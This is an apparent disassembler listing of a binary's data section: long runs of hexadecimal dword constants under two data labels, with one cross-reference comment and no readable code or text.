dd 0EA606074h, 899DFD82h, 5C4876A8h, 2C17C346h, 0A7040859h
dd 39EE8301h, 352AFE6Ah, 0C1FC00C8h, 0EE849F2Fh, 3F94149Ch
dd 43738090h, 0EEF3FAD4h, 0B9D00046h, 569CEFC1h, 442F9B1Fh
dd 2C04822h, 35C712E4h, 0CAA8930Ch, 82C3E190h, 517F4030h
dd 4E52B06Ah, 9EF044E5h, 98640122h, 3D09C47Eh, 90CC09ECh
dd 546C27FEh, 62B517F0h, 3BC5F8E2h, 1A8A5942h, 1858579Dh
dd 44E1C811h, 44616081h, 54C0D12Eh, 0C0B8E08Eh, 6698169h
dd 4806E53h, 5288B7F9h, 0E85F8025h, 0DB01C6B8h, 0AC700A9Fh
dd 4C3719B6h, 8BFD251Eh, 34F80245h, 65014B4h, 11496528h
dd 0CA18B652h, 70451CECh, 112DC0BCh, 38FB1C02h, 89088CD6h
dd 0A4A2049Ah, 2ECE34Fh, 4A3365Ch, 289476D9h, 63262024h
dd 88A110D6h, 0FC01903Ch, 0A0CCE737h, 58C8386Eh, 98F54EC0h
dd 1EE4027Fh, 878E436h, 8186E496h, 1771CEF6h, 0ED40EE5Ah
dd 0DCE2C75Ch, 96A3E142h, 95061120h, 0BCE60944h, 24E42FA5h
dd 0E2006A9Dh, 0D79FB9F1h, 0F2F6F0C4h, 50A3A402h, 60E8C08Fh
dd 1564466Bh, 9091B0CCh, 3079E125h, 4718CF79h, 2EB7343Ah
dd 0CE0098E7h, 0C96C2DAAh, 3E4D2A1Ah, 82060090h, 490881BFh
dd 3F85B56h, 0AC187100h, 319F64F9h, 18A47136h, 21DB2ABAh
dd 0C9FCF3B9h, 31CF1907h, 0A1C173E1h, 0E9D35445h, 6C62E94Ah
dd 0EDB43A00h, 0F53486C8h, 0B9AEA300h, 191FA152h, 0DB5C243Eh
dd 5BCB0010h, 0B74A55F2h, 0E1C41A0Bh, 0CD04C0D4h, 0E8449F46h
dd 465E2094h, 8F710090h, 47313C86h, 6977DBBh, 0C06AA5F0h
dd 0E4177877h, 0C4E9D1FEh, 2E84A84Ah, 7C00085Ah, 1A7BE32Ch
dd 837705DEh, 0E5FC9E9Ch, 0C7D2D4DCh, 11C03670h, 439D9584h
dd 529413C9h, 0B3484793h, 0A45485CCh, 0D01CB64h, 683C266h
dd 9455BA21h, 28F9140Ah, 8FFC6BD0h, 0D2E40A86h, 0DD272258h
dd 3D475900h, 0BB440192h, 0B040BFA1h, 0B140D7A7h, 9770ACEh
dd 0D140C3D2h, 0A40C2E98h, 75539A6h, 9C81B9FBh, 65FEF0B6h
dd 91CEB36Bh, 50ACD3AAh, 31A26E79h, 94AC3C95h, 599F5130h
dd 0AAF0BA6Ch, 2FC469D4h, 593431A1h, 7C00B8Ah, 0A6FBAC82h
dd 0B618EA76h, 43D103AAh, 493803E3h, 0CC9DA581h, 488EEABAh
dd 0C4B2BC95h, 33C71836h, 38C078D5h, 20C4ACE8h, 4EBB529Dh
dd 39987E58h, 25B52205h, 54089870h, 4FAF44A1h, 0C657897Ah
dd 11211EF0h, 2F1940B3h, 74B8EB6Ch, 10E41F03h, 0E4F6C0D6h
dd 0F0047085h, 74BCA918h, 34814830h, 5A7CA1CCh, 29204D53h
dd 0BB06BCB2h, 4998BFAEh, 0A85C9CFBh, 0F3B89007h, 0B469C503h
dd 916AA00h, 0C8B8D189h, 733B81AEh, 0EF21B7E0h, 627A0030h
dd 26BB0819h, 2AC1102h, 8021AA1h, 79E10316h, 77183818h
dd 0C4C94A08h, 1F722618h, 0F110FA58h, 129A8074h, 41C7F681h
dd 888B508h, 220811CFh, 1BC708D5h, 8AD2F08h, 24080A12h
dd 0C49808B6h, 0CFE2108h, 16606C55h, 40932440h, 954038D8h
dd 171840FEh, 7AA1B064h, 6BD8904h, 2008A38Bh, 96200F28h
dd 0B86520DAh, 32A1A720h, 2061141Eh, 2D72A02h, 7002CAA3h
dd 0CA4039Dh, 0D4860819h, 0A202AB29h, 680A4A2h, 3E5F402h
dd 920E3FDh, 0F8432201h, 10D703FFh, 108FB4F9h, 8E15CD0Bh
dd 0AC448894h, 0B10D665Ah, 0EC8831F0h, 4280BF2Dh, 0E27C802Eh
dd 80E16380h, 1881233Fh, 9127E988h, 20B9203Fh, 6C20E96Ah
dd 0C7712084h, 63FB6820h, 6A833144h, 8557010h, 51EA2C1Ah
dd 0E668E42Eh, 8FD9508h
dword_4E3354 dd 0B00898E8h, 74500897h, 0E9C9AD19h, 918B04FAh, 1D38518h
dd 0D00115AEh, 0A25E02A7h, 209DCA4h, 0A6029E1Dh, 0EFA02B2h
dd 65692D06h, 4C9BC11Dh, 0FDA1F1A0h, 409ABA40h, 39C40703h
dd 3E04EEDCh, 0C4D01C21h, 10993B10h, 0FC1024A0h, 21B931EBh
dd 6A019BA1h, 7E6D01A9h, 0DDFAE088h, 0D9A51B0Ch, 0CFA9801Ch
dd 0D853C181h, 6DE910BBh, 0FC8910EFh, 10B18110h, 4D188A5Bh
dd 1EC65869h, 0C988C081h, 44080A7Dh, 7CF40C82h, 0DE406F28h
dd 9F1A40B4h, 0C20A092h, 932020B5h, 54A15920h, 41DDC499h
dd 905B61E1h, 0B610C2E1h, 0F7B31904h, 0FB01C0B1h, 0A32A02CDh
dd 10801BF4h, 109CD968h, 511085C7h, 0B0152AC6h, 0F821FC65h
dd 0A72D8449h, 1218D030h, 9304446Eh, 0A1750CF3h, 0B6F1CA96h
dd 7F288B0h, 0B429BC18h, 0F19580FBh, 80C88780h, 6880D490h
dd 712480F9h, 0AE2970C4h, 41FEB04h, 0C00AF520h, 105682A0h
dd 8852A92Ch, 27235504h, 60A078CDh, 1F220CBEh, 7C1071D5h
dd 0AD803E00h, 6098E1B3h, 0EB271278h, 0B614907Fh, 470168FBh
dd 20994471h, 0E8CFEE26h, 16191F55h, 35E6B436h, 0EB9880B8h
dd 10036894h, 0ED2F372Bh, 3190D04Ah, 391508EAh, 30B3DC9h
dd 815460F6h, 1D47B097h, 6751C184h, 0CCE36CE8h, 1C1B6B40h
dd 434F55FCh, 9A92FB82h, 0F1E44AF9h, 3C21009Bh, 9F830FB5h
dd 0CABD17F3h, 807327h, 0F61F4560h, 0BD0ABF23h, 0C3309BAh
dd 0E3825380h, 1C6F5897h, 37FABB4h, 7E57E4BAh, 39545806h
dd 900BADh, 3F1BCFC9h, 8F882FC0h, 2CE40726h, 55CCA131h
dd 0A0F477D0h, 63B6AA10h, 575EC881h, 55E440CCh, 1FAE41B5h
dd 16661D6Bh, 0C07841F9h, 0FB39E624h, 4EFE10E6h, 0BE3270C5h
dd 31BB50C8h, 5EC04B5Bh, 0F4C0425Dh, 0F3A8EF80h, 4437E4DDh
dd 3A91288Fh, 0F4C008B0h, 75E90632h, 183507E0h, 90740500h
dd 0A5D9F2ECh, 0B1F30158h, 0FC098A76h, 63AAD0D4h, 0A5D8163Dh
dd 0F6F8057Bh, 70043832h, 7F937C0h, 0A621E328h, 0D476A110h
dd 422ABF00h, 0BC19A5C1h, 903D3F8h, 0F3B76808h, 1434C1F9h
dd 9A2E2880h, 0EE4DB37Ch, 51AE491Ch, 553F09BDh, 0A2B8F74h
dd 821408F6h, 84040FF0h, 28F489C8h, 0E4785414h, 18956067h
dd 42AAB746h, 83B06464h, 0E4053880h, 0CC6C54A7h, 0EFAA1931h
dd 24F5200Ch, 1D0B514Ch, 0C05755D4h, 60A9E4B8h, 2A833075h
dd 880437CCh, 0A6DBCA87h, 185200E4h, 3125FFF1h, 2380D136h
dd 763C0226h, 0B8AA3442h, 0F54878F8h, 63190418h, 108CCE6Ch
dd 0C8BB144Fh, 0E20F90E0h, 97061AB5h, 8E701022h, 64881E02h
dd 60AC2472h, 1849EB3Bh, 79527145h, 0F30C8782h, 0F1758A29h
dd 31AAF08Fh, 8510FD81h, 687E01A7h, 33E35300h, 0BB41B806h
dd 68406Eh, 8817A8BDh, 0AE12AA4Bh, 0CA15090h, 845450EAh
dd 0F75251C5h, 0EC4600C4h, 0A0797261h, 7066059Fh, 44C2A2h
dd 5704A8EEh, 0BD0240A1h, 6D7A392h, 0F06C44B8h, 0FF5501BBh
dd 0F5AA894Fh, 6098806Fh, 23CB6854h, 0FD392FE1h, 0F03210E0h
dd 534F9600h, 1E3FA29Bh, 0D4E4007Ah, 8B88FF38h, 0A1B8B204h
dd 5745C900h, 69467BC0h, 27CC00E9h, 0FFF55288h, 0DF3F2D23h
dd 0AAAF0645h, 28712B39h, 20DCDC19h, 0F51C79CFh, 50C769B9h
dd 7B80E883h, 6841AAD6h, 4E603055h, 62BB1230h, 314010C0h
dd 807BDF8h, 1863C34Bh, 96001873h, 621D23FEh, 0E81CD2EFh
dd 0A847F9E6h, 0D54EB722h, 4A9770A0h, 5A12D2E9h, 780071A3h
dd 8E8FC5F9h, 0DCDF20E4h, 0F7C0500Ch, 98CA6832h, 9E401B3Ch
dd 0BDD8106Fh, 0FA063B2Bh, 0CC22A292h, 0AD520220h, 55C41BFFh
dd 7B09B865h, 45A419E2h, 0E15F7C08h, 0A1403CD1h, 643AC86Ch
dd 35A8816h, 123FBB04h, 4A8BE000h, 0FF5494D2h, 128C308h
dd 590582E4h, 2EC21557h, 0E400F084h, 3391E959h, 0C34B4BBBh
dd 1FA05A38h, 0B5781421h, 0B2E260E5h, 7B00B4A4h, 707E1C37h
dd 98841DF4h, 60AA1408h, 0B300C857h, 6BCD8CA5h, 0C6642EBBh
dd 0E3205D51h, 0C892A041h, 0C8B4114Bh, 30E75032h, 9900901Bh
dd 0BB53024Ch, 0B8662818h, 0A0AA507Ah, 6F63F840h, 0B60FE1Eh
dd 0E65AE0AAh, 5A5100B0h, 0B2C0916Ah, 32E420F4h, 96CC0A0h
dd 20B296FEh, 2BAC2E20h, 86305F4Ch, 209F78E4h, 26EC7148h
dd 640AF42Ch, 0D245BCFFh, 0BA97D001h, 8101BD99h, 6053E8C9h
dd 0C5838D02h, 60821A90h, 0A0BF3200h, 502F1C74h, 4858E0CCh
dd 7E8300F5h, 880C5B6Ah, 0C00B69BBh, 2668B28Fh, 84C0789h
dd 580A6332h, 0BC261CADh, 7BCAE680h, 59EDAA3Bh, 0B20020F9h
dd 2E657DA6h, 0FC989311h, 18D95720h, 404F8CBFh, 3060DAAAh
dd 5BAC2B30h, 231F147Dh, 0BAC1D014h, 209ACF66h, 19C065A4h
dd 0EF1F6D60h, 129BEA41h, 0E03A3979h, 0EC98F1F0h, 53A25716h
dd 1EBBE004h, 0BAD1A800h, 0C1C408CCh, 4D44F9F8h, 7548B8ADh
dd 54B8474Ch, 6F74CA7Ch, 9520ACB0h, 107B0172h, 44BB4A06h
dd 0AE499E25h, 6D713245h, 34BBB42Ch, 81280330h, 0BC9EA86Ch
dd 0DDAC0118h, 0E32E63FFh, 0A04017F0h, 12807D80h, 71FCCF4h
dd 18A3D6E4h, 23002822h, 0EC0BD333h, 0B0DAF2B5h, 1FA439E0h
dd 0E49717Bh, 0CBCA0A1Bh, 95AA8BC1h, 0B658806Ah, 0E831DDBEh
dd 0ACDF139Dh, 7C744F5Dh, 5EEC3132h, 0D8C9007Dh, 0D391B58h
dd 0C580102Ah, 6E155F56h, 2D0AA04h, 7C965957h, 731864E7h
dd 0B07CB052h, 3470FFD4h, 0BC3900A8h, 79B932A2h, 4C09A4D3h
dd 273C22BBh, 2D68DE00h, 0AA8D0480h, 449A936Fh, 814AB23Bh
dd 8260A878h, 2B21BB51h, 1F833882h, 3C80E67Ch, 7DDEFE84h
dd 715E3Eh, 0F40B80DFh, 17A65898h, 0BD73DE8h, 50A0E057h
dd 7C0B0AB5h, 7A92B200h, 6F409F21h, 1788C568h, 298C8082h
dd 83812FECh, 0F5BD9464h, 0B662B500h, 7B28B801h, 9782202Bh
dd 9E1A3084h, 745B32D7h, 0B199270h, 30AF4CDCh, 790F02C8h
dd 892983E5h, 34695078h, 50839DC0h, 482E8620h, 2DB31Dh
dd 8D8EE44h, 517122h, 0F36D3797h, 5BBE7C16h, 68E56303h
dd 90DD329Eh, 31844E2h, 6A722E23h, 0E5E0B3D7h, 7A3D6BC3h
dd 1F017DBFh, 0AACC4D04h, 808150E4h, 4F39D9FBh, 0CC2875h
dd 0DAD36463h, 2114A70h, 3962F9ABh, 0D0054782h, 4BAAB490h
dd 0B740C01Ah, 6DB5814Ah, 0AE015F0Fh, 0A766207Ch, 0CD1DC40h
dd 0E83BE4ABh, 39124FC8h, 0EC4046FBh, 579DD3DAh, 51610024h
dd 86418B94h, 2371427Bh, 9B1B0301h, 6799AABAh, 58466882h
dd 0EC54B690h, 0FC037996h, 0F6A5AAh, 0AD695E20h, 88BB616Fh
dd 0CAA0165Ch, 2A13C473h, 4B1DA000h, 17B467ECh, 0ED60BCh
dd 0F2E377CCh, 2E00A8DBh, 8B53B99h, 0A8637CAAh, 751CE90h
dd 263052AFh, 0A0BB417Fh, 8D609DCAh, 0F807DD13h, 0C4103DD4h
dd 589D932h, 0E3628B99h, 0E73C813Ah, 516500C0h, 90178A8h
dd 0AF2CCD31h, 0B2287896h, 324DFBDEh, 5FA80030h, 1C200C3Bh
dd 0F2B750A9h, 5217072Eh, 0B0351ADFh, 1E252340h, 0CDAC4600h
dd 0DD4EE36Ah, 516C1605h, 37340EABh, 3E1B1790h, 28320C12h
dd 383C8226h, 0D9ECA22Fh, 0C3830110h, 341040DDh, 4894A7BBh
dd 1A195688h, 0B064105Ah, 9E67A20h, 17CC36A3h, 31636483h
dd 1E6D4006h, 0B0396CBBh, 0F455508Eh, 243B12ECh, 75080192h
dd 0F0212FB7h, 497FEB13h, 0EA00E87Ch, 1CB6A876h, 0DFC4E0BBh
dd 56BF0940h, 0A19D7400h, 321D044Ch, 0B0C751BEh, 0ACFA333h
dd 4E0408E6h, 0A8D70B39h
dd 0C0C087B5h, 98BECB37h, 246300E0h, 0D6ED8C05h, 6749FD39h
dd 80EA3B50h, 231D6CF0h, 1CC733Bh, 0D5B29A13h, 80E2C7BAh
dd 3CFA8888h, 401038Dh, 7239D484h, 3128C9FFh, 0C3189D08h
dd 69B0AA84h, 0F7BC2893h, 0A465F930h, 1B9EE15h, 0E27C73D3h
dd 0D85C5AA5h, 0E415832Fh, 21D44753h, 0ACCA143Ch, 7BFC6200h
dd 0AF01D1E1h, 0A5586400h, 1932A435h, 0C0475EE4h, 0A0594654h
dd 0D51B5D04h, 80A437CCh, 433130BBh, 7C9860C0h, 9EA8C04Ch
dd 0EB14C02Eh, 90D80708h, 0B5A52154h, 5001948Bh, 99E461D7h
dd 567C702Fh, 2CF33910h, 88021D27h, 3CA2FFCCh, 8A00E8C1h
dd 0E051E231h, 82C8C994h, 7861C092h, 885110A1h, 0BA9512E5h
dd 0EF88C73Eh, 60846B6Ah, 6577B36Ah, 7BAAB412h, 0B076CCF0h
dd 0BF311CBCh, 5D8D00F1h, 23E36E52h, 0FC39B80Ch, 76FF406Ch
dd 751C0FA0h, 4A84B42Ch, 621080AAh, 66072ECh, 0A2E16508h
dd 39DE0C2Ch, 52381657h, 8BBACD12h, 77BD34E0h, 6111F062h
dd 82B610DDh, 6AA2E4DBh, 0E41A21C7h, 2DD0E1C6h, 460D757h
dd 0A4E90740h, 0C4C86850h, 8827CA03h, 430BA06Ch, 0B20400A0h
dd 18FFF7D8h, 6B59D6BBh, 7AAA3984h, 4C042890h, 48BE3953h
dd 48AC5C95h, 0E911A80Eh, 7C536A6Bh, 1F0C0C20h, 98AAB8E4h
dd 0B7391850h, 56294063h, 40689859h, 0A0E6AAE0h, 51C611C2h
dd 8D079F6h, 54009A70h, 0EB4C9159h, 4F520061h, 0FE921144h
dd 0F20509B5h, 8A58A7DCh, 1900C7C7h, 1E4FC37Ch, 4A5A517Fh
dd 84E817B3h, 881222D9h, 0E9FA0174h, 56ACEC00h, 386114A7h
dd 3CE40085h, 6A5F7C68h, 45E84BB9h, 59501F1Bh, 0EE632608h
dd 2E279068h, 810BA034h, 80248205h, 3BD01C9h, 0A2D8C0ADh
dd 394A5D0Ah, 5083C468h, 13C5387Fh, 0C2EA3CD8h, 540060B8h
dd 251220C0h, 8C0956DCh, 58B2802Bh, 2498D8C6h, 0C7B7660Fh
dd 1B4E80EFh, 5F2CA1Fh, 75AA9044h, 0FFE00065h, 78679EC1h
dd 7A0BCCBAh, 4401D4E8h, 272CB290h, 0CCA00854h, 84895C62h
dd 33524019h, 62D60578h, 58D8469Ch, 4C74C2E2h, 9F8B4869h
dd 71055882h, 3A3C0C79h, 8D7A841h, 22DACA15h, 0C5322024h
dd 0C0CC25D1h, 40AC3CF0h, 588CAAh, 1ECFA120h, 84FFAB18h
dd 3F83039h, 0C151BA61h, 0F4540A21h, 6C164480h, 0ECBD261Ch
dd 801834DCh, 820FAC20h, 0AAAFE650h, 184E52h, 0E54B6D09h
dd 1C70EE32h, 8364239Fh, 8D4D5B3Fh, 0DFE6A800h, 0B5728C97h
dd 90F27837h, 0CEB00F3Ch, 4E627B65h, 0B090FC19h, 8D77E420h
dd 33128CB2h, 0D4A094AAh, 8FBB1253h, 1AB44760h, 0D2B58449h
dd 804C58F8h, 1044D527h, 39FB41Ch, 0A2B74002h, 0C6821A05h
dd 0A30D8BE0h, 0DD6E2700h, 5547FC4Eh, 4C187D21h, 0BB8FA846h
dd 8160778Ch, 7CFEAA08h, 2D4D0AD8h, 331A028Ch, 2C59BA32h
dd 90EDB08h, 1CC64DE2h, 845974B0h, 0B10384DCh, 802A0E2h
dd 0F3A87E1Bh, 6B60800Bh, 787A0B9Ch, 59B0B482h, 17380179h
dd 40081074h, 7C9C515Dh, 3225DC24h, 2008C47Ch, 1D0FAAB0h
dd 4CE4719Fh, 1E2D024h, 0C6BBB43Dh, 0E0D0A8DEh, 0E318B725h
dd 4B308474h, 0FF960A11h, 1035B5h, 48B77BB8h, 9427433Bh
dd 35941852h, 1F2380EAh, 20647CA1h, 0B0B8E81Ch, 5CEC7124h
dd 221093Fh, 0EF4E84Fh, 1656809Ah, 775FF30Eh, 0CDEE40A8h
dd 0B09D9539h, 63040108h, 114DB0FDh, 4E8C4049h, 0AA00910Fh
dd 328BCE84h, 88C7C8h, 2D2348ABh, 855C51EDh, 22B8CFh, 0D54AEAE2h
dd 1B252EAAh, 74DD4000h, 0A825121Ch, 624C051Eh, 0B0909485h
dd 3BF2F050h, 0A5B0BA97h, 1F6559D0h, 0B44D3C5Eh, 0C01410D6h
dd 22F9B4D7h, 78C2AA6Ch, 0F8814888h, 400D8049h, 2CD08EBAh
dd 642078FCh, 0E532003Ah, 44C5617Dh, 6F094DA7h, 8A393F38h
dd 6E80CCFFh, 53174C90h, 4D34F8Ch, 81D84A38h, 0E9627C40h
dd 14C07828h, 0E98F46Fh, 6102A232h, 98DA3949h, 30717880h
dd 0B0DD2C2h, 41E732Ch, 47FBC602h, 8778E006h, 0F0FF22E4h
dd 0A4B31322h, 3306E63Ch, 181D4F1h, 514F20F6h, 68904434h
dd 900F593Ah, 9B1C2040h, 0CDB193Bh, 109270E4h, 0B0A4A4A7h
dd 8E6F16CCh, 4EFCC8D7h, 3039E284h, 20606504h, 28F0B3FCh
dd 1FA4AF54h, 0D8A1887Ch, 0EAC9F010h, 0A2A73CB1h, 264798Ch
dd 0E87E6289h, 107E1A1Fh, 5701C1E9h, 3B242EF4h, 58D9E0A9h
dd 0E05571F1h, 84985468h, 0BE384A02h, 0C45FAAD2h, 1D4A1CCh
dd 62818441h, 6D5E488Ch, 60883970h, 494B7892h, 582F889Bh
dd 0F55EAC98h, 1F834980h, 808E66FCh, 0FBE57C29h, 5D1E5404h
dd 0BD14A0D1h, 6A8B1608h, 0AC515C00h, 2898757h, 3978F642h
dd 1CE8807Bh, 61C4A8DDh, 0F4872337h, 7BCE0630h, 0AACF04BEh
dd 0E2D81495h, 3C49058Ch, 248D6766h, 842C17E9h, 88C17289h
dd 34188051h, 32BCF758h, 0B8D53FC6h, 2723038Eh, 60992EC6h
dd 5B530D20h, 8CA01355h, 54BC5814h, 0F4787D40h, 5B633D1Dh
dd 1048E04Dh, 0FBE0E409h, 5F88F0DCh, 2CA12D20h, 0E29E86AAh
dd 4CB4A0F2h, 618BA362h, 42E249E4h, 217C83CCh, 0AA40094Dh
dd 0A400B272h, 3186BF7Bh, 0D459E807h, 0FC2723BCh, 50A4E441h
dd 84147C24h, 0CA78C095h, 565D0E76h, 598EFFBEh, 45EA6280h
dd 6A2029B6h, 0AABCA985h, 166896C3h, 44C87E63h, 1F61DF14h
dd 518409h, 0D1E4B934h, 4920D2F1h, 0A0525320h, 0C4C02CA2h
dd 0E95B8BAh, 56B905A0h, 0C84D2CF3h, 33FE8400h, 7C2A617Fh
dd 0D3BFB70Bh, 9948824Ch, 0C362011Eh, 27B43420h, 1C27C25Fh
dd 6CB44B85h
dword_4E414C dd 0BB7081ECh, 851727C0h, 3882BA90h, 82CA040Fh, 0DA0958B4h
; DATA XREF: ___:off_43A188o
dd 824D1230h, 2014B3FBh, 17DC9E58h, 53642284h, 64ECE1h
dd 48B5D5C9h, 4501D40Eh, 61AD038Ah, 9782F8D8h, 748B60B3h
dd 0C2F09210h, 40F0CCFCh, 4018134h, 2BE44AEh, 472A37E4h
dd 217E12BCh, 70325588h, 303E83D3h, 0D522031Ch, 0D0401177h
dd 0B4C420CAh, 4D411C0h, 9B5299F8h, 0AB2CE8ECh, 8D588394h
dd 60D7CCFEh, 51CEEE0Ch, 9C4EA606h, 17107B4Ah, 0CC52E3C0h
dd 574F7000h, 812ED421h, 0F1CCF864h, 0FC58292Ah, 7D00ADFBh
dd 0ED4E3D40h, 1E36F62h, 56BBE12Fh, 641B07A3h, 0C72CAA50h
dd 0A7902CFDh, 6182608Bh, 68DCCBBBh, 74008E1Ch, 0E403713Ah
dd 270BC42h, 0FB66323Ch, 4302DCD9h, 0C02F9830h, 0C26703F4h
dd 0E672F3D8h, 5BBA4960h, 0DC326D5Eh, 0C94607BEh, 0A101ACA3h
dd 9FF97000h, 0B63EE352h, 3ECD60EDh, 62CE4745h, 7BD97C0Eh
dd 87934121h, 0C0640BAAh, 0C4A7255Eh, 0B200DC64h, 4044ABC9h
dd 3203B5h, 0FA212C2h, 0B733E318h, 3B744174h, 58B97B00h
dd 39D6657Eh, 0B2F9404Fh, 8474C548h, 0A3049466h, 8A209235h
dd 0F75294A0h, 489056F9h, 5BC7044h, 828CD84Bh, 261CE79Fh
dd 588004E1h, 0A8C088Bh, 4AE4185Bh, 132420E9h, 3234A690h
dd 90801054h, 3E382F6Fh, 0EA18109Ch, 0B60F89FCh, 740281F4h
dd 0D43C5248h, 0BC4AB25h, 217C008Ch, 12F2CB47h, 0BCA0ED32h
dd 2E2301DDh, 0B67E62CCh, 38AC5F0h, 0BB0BCFDBh, 9941B8D7h
dd 0DEAEE4D0h, 19100090h, 0AA09FB11h, 3C590F50h, 0BCEC5292h
dd 7D644B4Ah, 0BDE3B821h, 0A2742027h, 0EC20365Fh, 10C7DB04h
dd 4B0BBE35h, 0CAA8C0Bh, 4C7B10CDh, 0F2C8ECE3h, 9CB0A065h
dd 20826BFDh, 80709032h, 2209D89Eh, 0BDE8181Eh, 0DC5E4CA7h
dd 0C8515017h, 224E388h, 0C18A605Fh, 0BB629C1Ah, 2E605CCAh
dd 264A444h, 0F8514D4Fh, 22D9C51h, 363EA8F4h, 0EF89F8B6h
dd 0A2B86950h, 29480915h, 2307E47Ah, 7C1CF390h, 0A8060AE0h
dd 0F2921D93h, 1C6EE2h, 24E74BB5h, 2E500DE4h, 3A01D2ACh
dd 5394CB7Ah, 4882450Ch, 99126306h, 0B6007CC6h, 57D9BF8Fh
dd 79C76A52h, 0FEFB0054h, 2A0676B7h, 8A12D72Ch, 4CC760AAh
dd 0A08EE3B3h, 65A7BACBh, 0F246A02Dh, 4C5D3A9Ch, 0D8E40870h
dd 29BB04E2h, 9464A0AFh, 8E419DF8h, 25D27087h, 5CE08B65h
dd 0FD13A911h, 4EBB40E3h, 6F000968h, 22F6ABA6h, 53C8390Eh
dd 0BBB2E0E2h, 950ABCBAh, 7F534814h, 0B0AA39B4h, 0E949B812h
dd 0E6EBB865h, 5D603039h, 0BAC1E130h, 48C22CE0h, 9198BBFh
dd 178FC4C8h, 0E23F20h, 31E6CB7Eh, 0E41C0C83h, 0C8A98231h
dd 58E432EFh, 0AC593E5Ch, 2C843325h, 7C6C807Bh, 451678E1h
dd 38139EDDh, 1608EC10h, 3070655Ah, 471B806h, 0A321A7A2h
dd 805CB93Ah, 0CF17AA3Bh, 0B9B22CE6h, 2C4B10D4h, 9308ECD8h
dd 311B0272h, 2862BC32h, 38E27854h, 0C8384107h, 0BA6903D2h
dd 48DE7F8Bh, 37656C07h, 0F0208432h, 50CF9093h, 16C8D422h
dd 1B53D21h, 0E3D97E6Ch, 8E97DF0Ah, 9CADA1C1h, 0B911873Eh
dd 5DE04DB0h, 0B81B0D73h, 35D0FB10h, 6A40108Dh, 31A3E15h
dd 0F539E8BAh, 84079B80h, 0BE2E08ADh, 82E42664h, 0E62C6308h
dd 173CB471h, 2861FBBEh, 0BB00C1B2h, 6CB2AE1Dh, 0E3DAA2Fh
dd 0BC12D2E0h, 7087B071h, 9ECF0ACh, 6C2380D8h, 68C1D5E7h
dd 0C210A507h, 0FE1C61D0h, 79BB4C00h, 7160A769h, 0BE7B897Ch
dd 65109C71h, 4EA0FC97h, 614EE422h, 0B600BDECh, 88251764h
dd 0D4B860E8h, 97D68156h, 1075DC41h, 6D07076h, 30BADECAh
dd 0A0003855h, 57A6E432h, 9A37F4Bh, 807E1A1Ch, 0D17AA884h
dd 3A9D4AA0h, 0B7BF9871h, 1520322Fh, 0E906C051h, 58A0E34Dh
dd 2A269473h, 98503640h, 0DCE054A0h, 0C86D692Dh, 3CFE41F0h
dd 835B5021h, 15E128FCh, 8F10400Bh, 76222AD2h, 7054007Bh
dd 573BFA5Eh, 595048AAh, 2FE34AB4h, 8C04C35h, 0CB1933AAh
dd 0CA25820h, 9856707Dh, 7C0BD84h, 0BA1058E8h, 0D1ED1FBFh
dd 0A401E540h, 0FA7B1931h, 6DAA2508h, 0D07E9406h, 934D4DF0h
dd 3C0513F8h, 174C9C00h, 1D44C785h, 7F3B2FEh, 37548C59h
dd 31004F51h, 52503976h, 6615C004h, 7486D455h, 7B621FA8h
dd 5F8FCC67h, 0F002FEC0h, 0E41A6582h, 2504541Dh, 44F87430h
dd 405F59h, 51FFAC53h, 0C0E8FA39h, 0DDF51920h, 6312872Eh
dd 8430BDE7h, 59CF44Bh, 11246AE2h, 0CD8C806Ch, 495041AAh
dd 0D93A2694h, 45CE1289h, 68A47404h, 0C0AFFA07h, 36BAD369h
dd 7C02309Eh, 595420AAh, 4E486D0h, 0EB017071h, 779CB465h
dd 58748EE1h, 0C11A71AAh, 0CE3C5730h, 78906352h, 675B0709h
dd 4D88605Fh, 14520739h, 0D3C0D57Ch, 838B5493h, 878D56C0h
dd 0D34918C0h, 0A04E35F3h, 0C080B008h, 0D1FD8308h, 0F33ADF6Dh
dd 93D206C1h, 1401B6Bh, 507E81F5h, 0F0D112F1h, 59C163BAh
dd 10524A8Fh, 83ECDD4h, 262BA287h, 0E3AB840Fh, 37A3B19h
dd 0A2167B61h, 1001141Ch, 7CF170B4h, 6DC46097h, 5E1E18A7h
dd 0FFDC0845h, 86014B78h, 40F66CD5h, 0D6F07EB8h, 63C0F0B1h
dd 0D9FD1030h, 7CF9B13Ah, 685A8830h, 6BE8C2h, 0B9F62E0h
dd 6F029A04h, 3E166D06h, 1F8973Ch, 8860AFC2h, 8376E2A2h
dd 0EF93D490h, 2CD80058h, 3E80A73Dh, 30C3D6F0h, 0C1A40C12h
dd 118025A0h, 56839704h, 0A6E63173h, 0CA2ACB0Fh, 18BF806Ch
dd 1864535Eh, 30E11A3Eh, 99140C1Ch, 9EBC8C56h, 20D1C688h
dd 791F8A4h, 0AC164B68h, 3A48589h, 0C9FDDD08h, 2E3CE018h
dd 2A5822F8h, 0F8D487A5h, 48EB6193h, 0E04D3DF9h, 10C7910Bh
dd 0A780601Eh, 5211812Ch, 930CF488h, 5E7868FBh, 0B904AC15h
dd 50A42844h, 0AF646C10h, 8136C21Fh, 143E5195h, 0C92080C3h
dd 85555C6Fh, 2F9318B1h, 0A28240E9h, 2AEB0F20h, 72CC004h
dd 2236A487h, 3E29A04Bh, 850E7392h, 0DD1EA22Ch, 0F53DB800h
dd 18C39D97h, 0A1284A14h, 0C51CA775h, 25C112EAh, 53DEB7E6h
dd 0C8417FCh, 77623EB9h, 8C011648h, 6C028DBBh, 8850D043h
dd 1F064D12h, 0C15F158h, 0CC188589h, 9DBFF8h, 1E0265DFh
dd 67E088h, 0DA2F2D7Ch, 4461F750h, 8A55240Eh, 0BF06208Eh
dd 226FC54h, 3EB80B65h, 8481F8AEh, 0FA806CCCh, 0C4F15C41h
dd 0D4F10C6Dh, 3450C5A2h, 0AC03A484h, 716B8A8Fh, 93EBA0E6h
dd 0F388CAC4h, 7CAC2AECh, 0B6863311h, 480AD119h, 0C8F8849Ch
dd 8CC5DD4Eh, 0E4203A1Ch, 13257Fh, 70D23C10h, 4A96CFA7h
dd 76C4FC90h, 91857Eh, 1BD211F9h, 0B24B15C0h, 877AA8C0h
dd 61B93E60h, 862168DFh, 0B4002450h, 0EE2CA640h, 934A28A2h
dd 0EC0251D4h, 0DBE312E0h, 0CBC1C128h, 10BF03h, 0A75AB2C2h
dd 615B3E6Ah, 44CA58F7h, 819A81FDh, 99BCBD21h, 488FC424h
dd 8E86B860h, 897C90C8h, 4D6D08C3h, 24284883h, 8E074448h
dd 0D0917BD3h, 0DD6248Bh, 255638C6h, 69D50008h, 0A28D2C48h
dd 90C109B3h, 0B093EC3Dh, 4A616831h, 0FC888C00h, 0BF400B1h
